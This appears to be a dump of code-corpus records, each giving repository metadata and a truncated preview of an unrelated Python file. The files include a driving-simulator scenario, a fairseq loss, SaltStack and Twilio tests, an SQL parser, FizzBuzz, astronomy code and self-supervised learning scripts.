7894bdd46796b059dc856e6058935eb294ed299a
[ "Apache-2.0" ]
null
null
null
PythonAPI/examples/NHTSA/Encroaching-Oncoming-Vehicles/EOV_S_65_60.py
MaheshM99/PolyVerif
7894bdd46796b059dc856e6058935eb294ed299a
[ "Apache-2.0" ]
1
2021-12-31T09:35:59.000Z
2021-12-31T09:35:59.000Z
#!/usr/bin/env python3 # # Copyright (c) 2019-2021 LG Electronics, Inc. # # This software contains code licensed as described in LICENSE. # # See EOV_C_25_20.py for a commented script import time import logging from environs import Env import lgsvl FORMAT = "[%(levelname)6s] [%(name)s] %(message)s" lo...
35.51938
147
0.687909
import time import logging from environs import Env import lgsvl FORMAT = "[%(levelname)6s] [%(name)s] %(message)s" logging.basicConfig(level=logging.WARNING, format=FORMAT) log = logging.getLogger(__name__) env = Env() MAX_EGO_SPEED = 29.167 MAX_POV_SPEED = 26.667 INITIAL_HEADWAY = 130 SPEED_VARIA...
true
true
f74d8ee43019ac11bfbe92594e76a8ea24cd06c8
5,033
py
Python
src/syntaxd/fairseq/criterion.py
noe/iterative_expansion_lms
a5533a60f6f749673dae2329eeae0646ee2b740d
[ "MIT" ]
5
2020-11-25T11:26:27.000Z
2021-03-31T14:19:40.000Z
src/syntaxd/fairseq/criterion.py
noe/iterative_expansion_lms
a5533a60f6f749673dae2329eeae0646ee2b740d
[ "MIT" ]
1
2021-05-12T13:51:15.000Z
2021-05-12T13:51:15.000Z
src/syntaxd/fairseq/criterion.py
noe/iterative_expansion_lms
a5533a60f6f749673dae2329eeae0646ee2b740d
[ "MIT" ]
null
null
null
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from argparse import ArgumentParser import math import torch.nn.functional as F from fairseq import utils from fairseq.criterions import Fai...
46.601852
104
0.678522
from argparse import ArgumentParser import math import torch.nn.functional as F from fairseq import utils from fairseq.criterions import FairseqCriterion, register_criterion from syntaxd.data.dependency.binarize_data import KEY_PREV_LEVEL_TOKENS @register_criterion('token_expansion_cross_entropy') class DoubleCro...
true
true
f74d91791dddb0ce8c1057ce36cfbc35da98109f
3,524
py
Python
tests/unit/states/win_servermanager_test.py
kev009/salt
aecd53203eca51e150128ae7c9ad2a979d004127
[ "Apache-2.0" ]
1
2020-10-19T11:49:49.000Z
2020-10-19T11:49:49.000Z
tests/unit/states/win_servermanager_test.py
kev009/salt
aecd53203eca51e150128ae7c9ad2a979d004127
[ "Apache-2.0" ]
null
null
null
tests/unit/states/win_servermanager_test.py
kev009/salt
aecd53203eca51e150128ae7c9ad2a979d004127
[ "Apache-2.0" ]
1
2020-10-19T11:49:50.000Z
2020-10-19T11:49:50.000Z
# -*- coding: utf-8 -*- ''' :codeauthor: :email:`Rahul Handay <rahulha@saltstack.com>` ''' # Import Python Libs from __future__ import absolute_import # Import Salt Testing Libs from salttesting import TestCase, skipIf from salttesting.helpers import ensure_in_syspath from salttesting.mock import ( MagicMock,...
37.094737
78
0.54143
from __future__ import absolute_import from salttesting import TestCase, skipIf from salttesting.helpers import ensure_in_syspath from salttesting.mock import ( MagicMock, patch, NO_MOCK, NO_MOCK_REASON ) ensure_in_syspath('../../') from salt.states import win_servermanager win_servermanager.__salt...
true
true
f74d91e93aba123675a3f6eec9049218fa95fdef
4,875
py
Python
parser/team08/Tytus_SQLPARSER_G8/Instrucciones/Sql_create/CreateTable.py
18SebastianVC/tytus
2b22f4339356b6cf46e3235a5219f68e5ba5573b
[ "MIT" ]
1
2021-01-09T05:32:35.000Z
2021-01-09T05:32:35.000Z
parser/team08/Tytus_SQLPARSER_G8/Instrucciones/Sql_create/CreateTable.py
XiomRB/tytus
0873e4bdce5c110bee6ef2aa98240be6a93ae024
[ "MIT" ]
null
null
null
parser/team08/Tytus_SQLPARSER_G8/Instrucciones/Sql_create/CreateTable.py
XiomRB/tytus
0873e4bdce5c110bee6ef2aa98240be6a93ae024
[ "MIT" ]
null
null
null
from Instrucciones.Declaracion import Declaracion from Instrucciones.Sql_create.Tipo_Constraint import Tipo_Dato_Constraint from Instrucciones.TablaSimbolos.Tipo import Tipo from Instrucciones.TablaSimbolos.Instruccion import Instruccion from Instrucciones.TablaSimbolos.Tabla import Tabla from Instrucciones.Excepcion i...
50.78125
138
0.549128
from Instrucciones.Declaracion import Declaracion from Instrucciones.Sql_create.Tipo_Constraint import Tipo_Dato_Constraint from Instrucciones.TablaSimbolos.Tipo import Tipo from Instrucciones.TablaSimbolos.Instruccion import Instruccion from Instrucciones.TablaSimbolos.Tabla import Tabla from Instrucciones.Excepcion i...
true
true
f74d9307c18f268eb92583ff062d93033f2347d6
1,333
py
Python
python_solutions/fizz_buzz/codeeval_fizzbuzz.py
joelstanner/codeeval
ef0591fabcad39d45f10287d7a1330f342ab96e0
[ "MIT" ]
null
null
null
python_solutions/fizz_buzz/codeeval_fizzbuzz.py
joelstanner/codeeval
ef0591fabcad39d45f10287d7a1330f342ab96e0
[ "MIT" ]
null
null
null
python_solutions/fizz_buzz/codeeval_fizzbuzz.py
joelstanner/codeeval
ef0591fabcad39d45f10287d7a1330f342ab96e0
[ "MIT" ]
null
null
null
"""Accept a text file and do the fizzbuzz upon it. Your program should accept a file as its first argument. The file contains multiple separated lines; each line contains 3 numbers that are space delimited. The first number is the first divider (X), the second number is the second divider (Y), and the third number is ...
23.385965
65
0.580645
from __future__ import print_function import sys INPUT_FILE = sys.argv[1] def parse_input(input_file): values = [] with open(input_file, mode='r') as f: for line in f: nums = [int(s) for s in line.split()] values.append(nums) return values def fizzbuzz(X,...
true
true
f74d93380a8acab6dadf13f6e6fb339136ebdd69
8,616
py
Python
a3cosmos_gas_evolution/Common_Python_Code/calc_galaxy_luminosity_function.py
1054/a3cosmos-gas-evolution
66027338602ed2830e289cfbb4db6200739b39d6
[ "0BSD" ]
null
null
null
a3cosmos_gas_evolution/Common_Python_Code/calc_galaxy_luminosity_function.py
1054/a3cosmos-gas-evolution
66027338602ed2830e289cfbb4db6200739b39d6
[ "0BSD" ]
1
2021-09-16T11:12:10.000Z
2021-09-16T11:12:52.000Z
build/lib/a3cosmos_gas_evolution/Common_Python_Code/calc_galaxy_luminosity_function.py
1054/a3cosmos-gas-evolution
66027338602ed2830e289cfbb4db6200739b39d6
[ "0BSD" ]
null
null
null
#!/usr/bin/env python # # 20190222 # copied from "calc_stellar_mass_function.py", this code will superceed "calc_stellar_mass_function.py". # from __future__ import print_function import os, sys, re, json, time, astropy import numpy as np from astropy.table import Table, Column, hstack from copy import copy fr...
31.445255
175
0.574513
from __future__ import print_function import os, sys, re, json, time, astropy import numpy as np from astropy.table import Table, Column, hstack from copy import copy from numpy import log, log10, power, sum, sqrt, pi, exp pow = power lg = log10 ln = log from scipy.interpolate import InterpolatedUnivariateSpline, int...
true
true
f74d96a42adf84f8fa458322cce40c6435ae2c4c
4,458
py
Python
mytest/test.py
lindsey98/lightly
6a66a38ccd9fc4422f5ebb0a13009abe8266d8e2
[ "MIT" ]
null
null
null
mytest/test.py
lindsey98/lightly
6a66a38ccd9fc4422f5ebb0a13009abe8266d8e2
[ "MIT" ]
null
null
null
mytest/test.py
lindsey98/lightly
6a66a38ccd9fc4422f5ebb0a13009abe8266d8e2
[ "MIT" ]
null
null
null
import torch import torchvision import lightly.models as models import lightly.loss as loss import lightly.data as data import pytorch_lightning as pl import math import os import shutil from tqdm import tqdm import logging os.environ["CUDA_VISIBLE_DEVICES"]="1,0" exp_name = 'CIFAR10' start_epoch = 0 avg_loss = 0. avg...
34.55814
115
0.639524
import torch import torchvision import lightly.models as models import lightly.loss as loss import lightly.data as data import pytorch_lightning as pl import math import os import shutil from tqdm import tqdm import logging os.environ["CUDA_VISIBLE_DEVICES"]="1,0" exp_name = 'CIFAR10' start_epoch = 0 avg_loss = 0. avg...
true
true
f74d96c06adfca1a9d788e306ae55c813621c1f9
6,350
py
Python
pl_bolts/models/self_supervised/simclr/transforms.py
bartolkaruza/pytorch-lightning-bolts
2e903c333c37ea83394c7da2ce826de1b82fb356
[ "Apache-2.0" ]
null
null
null
pl_bolts/models/self_supervised/simclr/transforms.py
bartolkaruza/pytorch-lightning-bolts
2e903c333c37ea83394c7da2ce826de1b82fb356
[ "Apache-2.0" ]
null
null
null
pl_bolts/models/self_supervised/simclr/transforms.py
bartolkaruza/pytorch-lightning-bolts
2e903c333c37ea83394c7da2ce826de1b82fb356
[ "Apache-2.0" ]
1
2021-03-24T15:13:02.000Z
2021-03-24T15:13:02.000Z
import numpy as np from pl_bolts.utils.warnings import warn_missing_pkg try: import torchvision.transforms as transforms except ModuleNotFoundError: warn_missing_pkg('torchvision') # pragma: no-cover _TORCHVISION_AVAILABLE = False else: _TORCHVISION_AVAILABLE = True try: import cv2 except Module...
30.238095
94
0.624882
import numpy as np from pl_bolts.utils.warnings import warn_missing_pkg try: import torchvision.transforms as transforms except ModuleNotFoundError: warn_missing_pkg('torchvision') _TORCHVISION_AVAILABLE = False else: _TORCHVISION_AVAILABLE = True try: import cv2 except ModuleNotFoundError: ...
true
true
f74d971f7996202fd46fca9b7aec9bfa14cc7a14
442
py
Python
apps/core/urls.py
tarvitz/icu
9a7cdac9d26ea224539f68f678b90bf70084374d
[ "BSD-3-Clause" ]
1
2022-03-12T23:44:21.000Z
2022-03-12T23:44:21.000Z
apps/core/urls.py
tarvitz/icu
9a7cdac9d26ea224539f68f678b90bf70084374d
[ "BSD-3-Clause" ]
null
null
null
apps/core/urls.py
tarvitz/icu
9a7cdac9d26ea224539f68f678b90bf70084374d
[ "BSD-3-Clause" ]
null
null
null
from django.conf.urls.defaults import patterns, include, url from apps.core.shortcuts import direct_to_template urlpatterns = patterns('apps.core.views', url(r'^$', 'index', name='index'), #static url(r'^function/blocked/$', direct_to_template, {'template': 'static/function_blocked.html'}, ...
29.466667
60
0.649321
from django.conf.urls.defaults import patterns, include, url from apps.core.shortcuts import direct_to_template urlpatterns = patterns('apps.core.views', url(r'^$', 'index', name='index'), url(r'^function/blocked/$', direct_to_template, {'template': 'static/function_blocked.html'}, name='b...
true
true
f74d97307b9987d2e1b33a9a7534074e4f0aa11b
5,504
py
Python
option_train_DistillationIQA_FR.py
guanghaoyin/CVRKD-IQA
b596a53c064d5472feb63fc61abe0b100e40606f
[ "MIT" ]
25
2021-12-09T10:01:16.000Z
2022-03-25T03:10:27.000Z
option_train_DistillationIQA_FR.py
guanghaoyin/CVRKD-IQA
b596a53c064d5472feb63fc61abe0b100e40606f
[ "MIT" ]
1
2022-03-07T08:33:20.000Z
2022-03-08T08:44:38.000Z
option_train_DistillationIQA_FR.py
guanghaoyin/CVRKD-IQA
b596a53c064d5472feb63fc61abe0b100e40606f
[ "MIT" ]
5
2022-03-02T08:12:29.000Z
2022-03-17T05:22:19.000Z
# import template import argparse import os """ Configuration file """ def check_args(args, rank=0): if rank == 0: with open(args.setting_file, 'w') as opt_file: opt_file.write('------------ Options -------------\n') print('------------ Options -------------') for k in a...
48.280702
151
0.674782
import argparse import os def check_args(args, rank=0): if rank == 0: with open(args.setting_file, 'w') as opt_file: opt_file.write('------------ Options -------------\n') print('------------ Options -------------') for k in args.__dict__: v = args.__dict...
true
true
f74d9764e1237dcfb6eecc6c9810660650789e1f
10,816
py
Python
tests/integration/api/v2010/account/conference/test_recording.py
fefi95/twilio-python
b9bfea293b6133fe84d4d8d3ac4e2a75381c3881
[ "MIT" ]
1
2019-12-30T21:46:55.000Z
2019-12-30T21:46:55.000Z
tests/integration/api/v2010/account/conference/test_recording.py
fefi95/twilio-python
b9bfea293b6133fe84d4d8d3ac4e2a75381c3881
[ "MIT" ]
null
null
null
tests/integration/api/v2010/account/conference/test_recording.py
fefi95/twilio-python
b9bfea293b6133fe84d4d8d3ac4e2a75381c3881
[ "MIT" ]
null
null
null
# coding=utf-8 r""" This code was generated by \ / _ _ _| _ _ | (_)\/(_)(_|\/| |(/_ v1.0.0 / / """ from tests import IntegrationTestCase from tests.holodeck import Request from twilio.base.exceptions import TwilioException from twilio.http.response import Response class RecordingTestCase(Integra...
48.502242
393
0.590791
from tests import IntegrationTestCase from tests.holodeck import Request from twilio.base.exceptions import TwilioException from twilio.http.response import Response class RecordingTestCase(IntegrationTestCase): def test_update_request(self): self.holodeck.mock(Response(500, '')) with self.asse...
true
true
f74d97c5c58e95442c7e368f9a061bf810d6fc4f
7,171
py
Python
src/ruv_dl/ruv_client.py
HaukurPall/ruv_dl
25566714c97357e664b78fee4513b7ae0d818264
[ "MIT" ]
2
2022-02-02T17:49:11.000Z
2022-02-03T10:54:39.000Z
src/ruv_dl/ruv_client.py
HaukurPall/ruv_dl
25566714c97357e664b78fee4513b7ae0d818264
[ "MIT" ]
null
null
null
src/ruv_dl/ruv_client.py
HaukurPall/ruv_dl
25566714c97357e664b78fee4513b7ae0d818264
[ "MIT" ]
null
null
null
import asyncio import json import logging from datetime import datetime, timedelta from pathlib import Path from typing import Dict, List, Optional, TypedDict from gql import Client, gql from gql.client import AsyncClientSession from gql.transport.aiohttp import AIOHTTPTransport log = logging.getLogger(__name__) cl...
33.985782
120
0.579278
import asyncio import json import logging from datetime import datetime, timedelta from pathlib import Path from typing import Dict, List, Optional, TypedDict from gql import Client, gql from gql.client import AsyncClientSession from gql.transport.aiohttp import AIOHTTPTransport log = logging.getLogger(__name__) cl...
true
true
f74d97fa6546261b6f7e30a57d834532b4cd3392
1,652
py
Python
mediagoblin/plugins/persona/forms.py
saksham1115/mediagoblin
41302ad2b622b340caeb13339338ab3a5d0f7e6b
[ "CC0-1.0" ]
7
2020-05-27T03:57:21.000Z
2021-04-21T02:17:39.000Z
mediagoblin/plugins/persona/forms.py
saksham1115/mediagoblin
41302ad2b622b340caeb13339338ab3a5d0f7e6b
[ "CC0-1.0" ]
1
2018-01-06T18:12:02.000Z
2018-01-06T18:27:31.000Z
mediagoblin/plugins/persona/forms.py
saksham1115/mediagoblin
41302ad2b622b340caeb13339338ab3a5d0f7e6b
[ "CC0-1.0" ]
2
2019-05-13T14:42:34.000Z
2021-08-28T10:36:46.000Z
# GNU MediaGoblin -- federated, autonomous media hosting # Copyright (C) 2011, 2012 MediaGoblin contributors. See AUTHORS. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either versio...
39.333333
77
0.739709
import wtforms from mediagoblin.tools.translate import lazy_pass_to_ugettext as _ from mediagoblin.auth.tools import normalize_user_or_email_field class RegistrationForm(wtforms.Form): username = wtforms.StringField( _('Username'), [wtforms.validators.InputRequired(), normalize_user_or_e...
true
true
f74d9809a7b199d9a31abd5331e5205fc9837159
16,887
py
Python
ohmnet/gensimmod/utils.py
gibbbone/ohmnet
64a6da8b08e849479008ca21b9270f25f8f294a1
[ "MIT" ]
50
2017-03-30T03:00:01.000Z
2020-01-09T12:20:14.000Z
Source/BaselineMethods/ohmnet/gensimmod/utils.py
Brian-ning/HMNE
1b4ee4c146f526ea6e2f4f8607df7e9687204a9e
[ "Apache-2.0" ]
4
2017-10-04T08:19:54.000Z
2019-10-16T09:56:19.000Z
Source/BaselineMethods/ohmnet/gensimmod/utils.py
Brian-ning/HMNE
1b4ee4c146f526ea6e2f4f8607df7e9687204a9e
[ "Apache-2.0" ]
25
2017-04-18T03:03:39.000Z
2020-01-30T23:10:13.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # # This OhmNet code is adapted from: # Copyright (C) 2010 Radim Rehurek <radimrehurek@seznam.cz> # Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html from __future__ import with_statement import logging import itertools logger = logging.getLogger(_...
37.778523
114
0.597027
from __future__ import with_statement import logging import itertools logger = logging.getLogger(__name__) try: from html.entities import name2codepoint as n2cp except ImportError: from htmlentitydefs import name2codepoint as n2cp try: import cPickle as _pickle except ImportError: import pickle as _...
true
true
f74d980f62481f38319c5acae9c0af900b29ce40
1,091
py
Python
experiments/toy.py
ptoman/icgauge
3e7c12c0365de717ad20521aca4adc24aaa8d1db
[ "MIT" ]
10
2016-05-16T05:14:34.000Z
2021-05-07T11:41:01.000Z
experiments/toy.py
ptoman/icgauge
3e7c12c0365de717ad20521aca4adc24aaa8d1db
[ "MIT" ]
null
null
null
experiments/toy.py
ptoman/icgauge
3e7c12c0365de717ad20521aca4adc24aaa8d1db
[ "MIT" ]
3
2016-05-22T20:54:28.000Z
2021-01-07T13:57:39.000Z
# -*- coding: utf-8 -*- #!/usr/bin/python ################################################# # Usage: # From top level (/path/to/repo/icgauge), issue the command # `python -m experiments.toy` # # Toy experiment -- machinery is hooked up and # working. Not a baseline experiment because it # doesn't use a real tr...
32.088235
74
0.679193
# data to get good metrics. ################################################# import icgauge from icgauge import experiment_frameworks print "Toy framework:" print " Data: toy.json" print " Features: manual content flags" print " Labels: original 7-point scale" print " Model: logistic regression (c...
false
true
f74d9815aaf89de5eb08079a9b873465ba477f4d
2,092
py
Python
bot/utils/__init__.py
discohook/moderator
a0a8847a842e2b42b534f18c97fa510e941db2f2
[ "MIT" ]
7
2020-12-02T19:34:37.000Z
2021-11-27T08:41:50.000Z
bot/utils/__init__.py
discohook/moderator
a0a8847a842e2b42b534f18c97fa510e941db2f2
[ "MIT" ]
null
null
null
bot/utils/__init__.py
discohook/moderator
a0a8847a842e2b42b534f18c97fa510e941db2f2
[ "MIT" ]
1
2021-10-12T04:58:40.000Z
2021-10-12T04:58:40.000Z
import difflib import re from typing import Optional, Union from discord.utils import escape_markdown def wrap_in_code(value: str, *, block: Optional[Union[bool, str]] = None): value = value.replace("`", "\u200b`\u200b") value = value.replace("\u200b\u200b", "\u200b") if block is None: return "`...
25.512195
74
0.532505
import difflib import re from typing import Optional, Union from discord.utils import escape_markdown def wrap_in_code(value: str, *, block: Optional[Union[bool, str]] = None): value = value.replace("`", "\u200b`\u200b") value = value.replace("\u200b\u200b", "\u200b") if block is None: return "`...
true
true
f74d983cf527609550101787af89d07cbae50a7b
9,406
py
Python
Verbrauchsrechner.py
genIterator/Patrizier2Verbrauchsrechner
ecd201a5fd769454af4c345d5022f2522ca57975
[ "MIT" ]
null
null
null
Verbrauchsrechner.py
genIterator/Patrizier2Verbrauchsrechner
ecd201a5fd769454af4c345d5022f2522ca57975
[ "MIT" ]
null
null
null
Verbrauchsrechner.py
genIterator/Patrizier2Verbrauchsrechner
ecd201a5fd769454af4c345d5022f2522ca57975
[ "MIT" ]
null
null
null
from io import SEEK_CUR import os class Verbrauchsrechner(object): def __init__(self, efficencyTableFile = "ProductionEfficency.csv", priceListFile = "ProductList.csv", consumptionFile = "ConsumptionValues.csv", stadtName = ""): self.efficencyTableFile = efficencyTableFile self.priceListFil...
43.546296
232
0.516373
from io import SEEK_CUR import os class Verbrauchsrechner(object): def __init__(self, efficencyTableFile = "ProductionEfficency.csv", priceListFile = "ProductList.csv", consumptionFile = "ConsumptionValues.csv", stadtName = ""): self.efficencyTableFile = efficencyTableFile self.priceListFil...
true
true
f74d9874f40f470d3a850f0113576c8a0bed0b99
1,958
py
Python
data/getdata.py
arclamp/roi-thumbnail
d41e32c56c304ab5bfcb934520492d647f3693cd
[ "Apache-2.0" ]
null
null
null
data/getdata.py
arclamp/roi-thumbnail
d41e32c56c304ab5bfcb934520492d647f3693cd
[ "Apache-2.0" ]
2
2018-11-26T15:36:28.000Z
2018-11-27T17:37:27.000Z
data/getdata.py
arclamp/roi-thumbnail
d41e32c56c304ab5bfcb934520492d647f3693cd
[ "Apache-2.0" ]
1
2018-11-21T17:04:14.000Z
2018-11-21T17:04:14.000Z
import json from allensdk.core.brain_observatory_cache import BrainObservatoryCache def compress_roi(roi): mask = [] for i, row in enumerate(roi): for j, flag in enumerate(row): if flag: mask.append((i, j)) return mask def sample(signal, n): size = int(len(signa...
26.459459
127
0.703269
import json from allensdk.core.brain_observatory_cache import BrainObservatoryCache def compress_roi(roi): mask = [] for i, row in enumerate(roi): for j, flag in enumerate(row): if flag: mask.append((i, j)) return mask def sample(signal, n): size = int(len(signa...
true
true
f74d987ddc1ea65b6dee047c6a6ecee05abada9a
8,893
py
Python
pcs_detection/src_python/pcs_detection/utils.py
Levi-Armstrong/point_cloud_segmentation
ed0db4f49aa378901860dd2a81897b79e0fe1a66
[ "Apache-2.0" ]
7
2020-07-23T03:25:25.000Z
2021-05-08T18:16:30.000Z
pcs_detection/src_python/pcs_detection/utils.py
Levi-Armstrong/point_cloud_segmentation
ed0db4f49aa378901860dd2a81897b79e0fe1a66
[ "Apache-2.0" ]
10
2019-11-15T15:30:04.000Z
2020-06-18T23:52:06.000Z
pcs_detection/src_python/pcs_detection/utils.py
Levi-Armstrong/point_cloud_segmentation
ed0db4f49aa378901860dd2a81897b79e0fe1a66
[ "Apache-2.0" ]
9
2019-09-18T19:10:49.000Z
2021-04-28T09:50:27.000Z
''' * @file utils.py * @brief Helper functions for viewing images and reading/writing config and label files * * @author Jake Janssen * @date Oct 24, 2019 * @version TODO * @bug No known bugs * * @copyright Copyright (c) 2019, Southwest Research Institute * * @par License * Software License Agreement (Apac...
35.150198
170
0.628247
import numpy as np import pandas as pd from lxml import etree import cv2 import os import json def get_labels_from_xml(label_path): anno = dict() root = etree.parse(label_path).getroot() dataset_name = label_path.split('/')[-2] for image_tag in root.iter('image'): image = {} ...
true
true
f74d995a66fa1b07669a59a8d42244ffec5b431e
2,866
py
Python
cvxpy_tinoco/functions/log_sum_exp.py
EnjoyLifeFund/macHighSierra-py36-pkgs
5668b5785296b314ea1321057420bcd077dba9ea
[ "BSD-3-Clause", "BSD-2-Clause", "MIT" ]
null
null
null
cvxpy_tinoco/functions/log_sum_exp.py
EnjoyLifeFund/macHighSierra-py36-pkgs
5668b5785296b314ea1321057420bcd077dba9ea
[ "BSD-3-Clause", "BSD-2-Clause", "MIT" ]
null
null
null
cvxpy_tinoco/functions/log_sum_exp.py
EnjoyLifeFund/macHighSierra-py36-pkgs
5668b5785296b314ea1321057420bcd077dba9ea
[ "BSD-3-Clause", "BSD-2-Clause", "MIT" ]
null
null
null
#***********************************************************************# # Copyright (C) 2010-2012 Tomas Tinoco De Rubira # # # # This file is part of CVXPY # # ...
37.220779
78
0.473482
import numpy as np from ..defs import * from ..utils import * from ..sets import * from ..interface import * from ..arrays import cvxpy_array from ..arrays import cvxpy_matrix def log_sum_exp(x): if (np.isscalar(x) or type(x).__name__ in SCALAR_OBJS): return x elif (type(x) is not cvxpy_...
true
true
f74d9ab812b6dd82ce33cb3c55073c7417f4fd5a
6,863
py
Python
src/fbp/flow.py
swcmdb/pyflow
16f4e4fac74001a4b0761e14335dc84817ad0b45
[ "MIT" ]
null
null
null
src/fbp/flow.py
swcmdb/pyflow
16f4e4fac74001a4b0761e14335dc84817ad0b45
[ "MIT" ]
null
null
null
src/fbp/flow.py
swcmdb/pyflow
16f4e4fac74001a4b0761e14335dc84817ad0b45
[ "MIT" ]
null
null
null
"""Core Class for Flow.""" from multiprocessing import Process, Manager from multiprocessing.managers import BaseManager import sys import json from node import Node EXEC_MODE_BATCH = "batch" EXEC_MODE_STREAMING = "streaming" class Path(object): def __init__(self, source_node, source_port, target_node, target_p...
31.195455
91
0.602506
from multiprocessing import Process, Manager from multiprocessing.managers import BaseManager import sys import json from node import Node EXEC_MODE_BATCH = "batch" EXEC_MODE_STREAMING = "streaming" class Path(object): def __init__(self, source_node, source_port, target_node, target_port): self._name = ...
true
true
f74d9b2b35390c85a10d985db50bd9c283dd3fba
3,963
py
Python
parser.py
LudeeD/prandium
2b56007772acb76453f7344f9fcf8471d8424889
[ "MIT" ]
null
null
null
parser.py
LudeeD/prandium
2b56007772acb76453f7344f9fcf8471d8424889
[ "MIT" ]
null
null
null
parser.py
LudeeD/prandium
2b56007772acb76453f7344f9fcf8471d8424889
[ "MIT" ]
null
null
null
import sqlite3 con = sqlite3.connect('./public/index.db') import os def recipe_already_indexed(name): cur = con.cursor() cur.execute("SELECT * FROM recipes_info WHERE path=?", (name,)) rows = cur.fetchall() for r in rows: print(r) return len(rows) > 0 def add_tag(name, recipe_id): print(name...
27.331034
97
0.538229
import sqlite3 con = sqlite3.connect('./public/index.db') import os def recipe_already_indexed(name): cur = con.cursor() cur.execute("SELECT * FROM recipes_info WHERE path=?", (name,)) rows = cur.fetchall() for r in rows: print(r) return len(rows) > 0 def add_tag(name, recipe_id): print(name...
true
true
f74d9b509d7a7a2b9d6b76e31d14b66e5f43fd6b
2,694
py
Python
examples/distributed_data_parallel.py
izumiya-keisuke/mmle
43dbe281ee591a2d7f7cc1e5386ed04651930205
[ "Apache-2.0" ]
null
null
null
examples/distributed_data_parallel.py
izumiya-keisuke/mmle
43dbe281ee591a2d7f7cc1e5386ed04651930205
[ "Apache-2.0" ]
null
null
null
examples/distributed_data_parallel.py
izumiya-keisuke/mmle
43dbe281ee591a2d7f7cc1e5386ed04651930205
[ "Apache-2.0" ]
null
null
null
""" Copyright 2021 Keisuke Izumiya Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softwar...
27.489796
89
0.675204
import torch import torch.distributed as distd import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.utils.data import DataLoader from torch.utils.data.distributed import DistributedSampler import mmle.distributed as mdistd import mmle.nn as mnn from mmle.utils.manager import Ma...
true
true
f74d9b7a5ce46ff54bdb53b2b26f5fcef8b62911
8,262
py
Python
assignment1/q4_sentiment.py
tavaresdong/stanford_cs224n
09936ce5d994bb25bb45d19fd363c37198b6eda2
[ "MIT" ]
null
null
null
assignment1/q4_sentiment.py
tavaresdong/stanford_cs224n
09936ce5d994bb25bb45d19fd363c37198b6eda2
[ "MIT" ]
null
null
null
assignment1/q4_sentiment.py
tavaresdong/stanford_cs224n
09936ce5d994bb25bb45d19fd363c37198b6eda2
[ "MIT" ]
null
null
null
#!/usr/bin/env python import argparse import numpy as np import matplotlib matplotlib.use('agg') import matplotlib.pyplot as plt import itertools from utils.treebank import StanfordSentiment import utils.glove as glove from q3_sgd import load_saved_params, sgd # We will use sklearn here because it will run faster t...
31.899614
80
0.632898
import argparse import numpy as np import matplotlib matplotlib.use('agg') import matplotlib.pyplot as plt import itertools from utils.treebank import StanfordSentiment import utils.glove as glove from q3_sgd import load_saved_params, sgd from sklearn.linear_model import LogisticRegression from sklearn.metrics impo...
false
true
f74d9be72e2f3579bdbf5c4ba4317c7b1a589cf7
641
py
Python
zeus/networks/pytorch/necks/__init__.py
georgefang/vega
977054e12dd3bc1c96bbe35f18d5db4bc82d0522
[ "MIT" ]
null
null
null
zeus/networks/pytorch/necks/__init__.py
georgefang/vega
977054e12dd3bc1c96bbe35f18d5db4bc82d0522
[ "MIT" ]
null
null
null
zeus/networks/pytorch/necks/__init__.py
georgefang/vega
977054e12dd3bc1c96bbe35f18d5db4bc82d0522
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the ...
32.05
72
0.736349
from zeus.common.class_factory import ClassFactory ClassFactory.lazy_register("zeus.networks.pytorch.necks", { "ffm": ["network:FeatureFusionModule"], "fpn": ["FPN"] })
true
true
f74d9c76a6809f98cb53b3fefa4957cbddb4775a
1,007
py
Python
movieverse/public_datasets.py
KoenBaak/movieverse
2337a7338e350ebb59dec3119bd5ee4235268fc0
[ "MIT" ]
null
null
null
movieverse/public_datasets.py
KoenBaak/movieverse
2337a7338e350ebb59dec3119bd5ee4235268fc0
[ "MIT" ]
null
null
null
movieverse/public_datasets.py
KoenBaak/movieverse
2337a7338e350ebb59dec3119bd5ee4235268fc0
[ "MIT" ]
null
null
null
# ------ Python standard library imports --------------------------------------- from typing import Optional import os # ------ External imports ------------------------------------------------------ # ------ Imports from own package or module ------------------------------------ from movieverse.movieverse import Movie...
33.566667
80
0.522344
from typing import Optional import os from movieverse.movieverse import Movieverse from movieverse.metadatalib import MetaDataLib def _dataset_directory(): fallback = os.path.join(os.path.expanduser("~"), ".movieverse_data") dir_ = os.environ.get("MOVIEVERSE_DATASET_DIR", fallback) if not os.path.exists(...
true
true
f74d9e14e33b1af180a24d77b31fb7a693160458
1,679
py
Python
SRTpy/utils.py
ChangWanHong/SRTpy
25813926dd62353a4b4991220c06ef6b3e6dac25
[ "BSD-3-Clause" ]
1
2019-09-15T09:03:04.000Z
2019-09-15T09:03:04.000Z
SRTpy/utils.py
bluesid/SRTpy
25813926dd62353a4b4991220c06ef6b3e6dac25
[ "BSD-3-Clause" ]
null
null
null
SRTpy/utils.py
bluesid/SRTpy
25813926dd62353a4b4991220c06ef6b3e6dac25
[ "BSD-3-Clause" ]
1
2019-09-15T04:20:14.000Z
2019-09-15T04:20:14.000Z
""" SRTpy -- SRT (https://etk.srail.co.kr) wrapper for Python. ========================================================== : copyright: (c) 2017 by Heena Kwag. : URL: <http://github.com/dotaitch/SRTpy> : license: BSD, see LICENSE for more details. """ import random import requests from xml.etree im...
26.234375
69
0.589637
import random import requests from xml.etree import ElementTree as ET from .constants import * def get_key_by_value(value, data): for k, v in data.items(): if v == value: return k def get_key_by_value_list(value, data): for k, v in data.items(): if value in v: return ...
true
true
f74d9e2c563453f7df1f35841574b2f4c2fba50c
2,225
py
Python
wenshu/wenshu/spiders/wenshu_spider.py
SCUTJcfeng/ScrapyProjects
ddfceef66ebf7a9d693276249abf6bb84238e2c2
[ "MIT" ]
2
2019-01-11T17:35:26.000Z
2019-04-17T14:28:04.000Z
wenshu/wenshu/spiders/wenshu_spider.py
SCUTJcfeng/ScrapyProjects
ddfceef66ebf7a9d693276249abf6bb84238e2c2
[ "MIT" ]
null
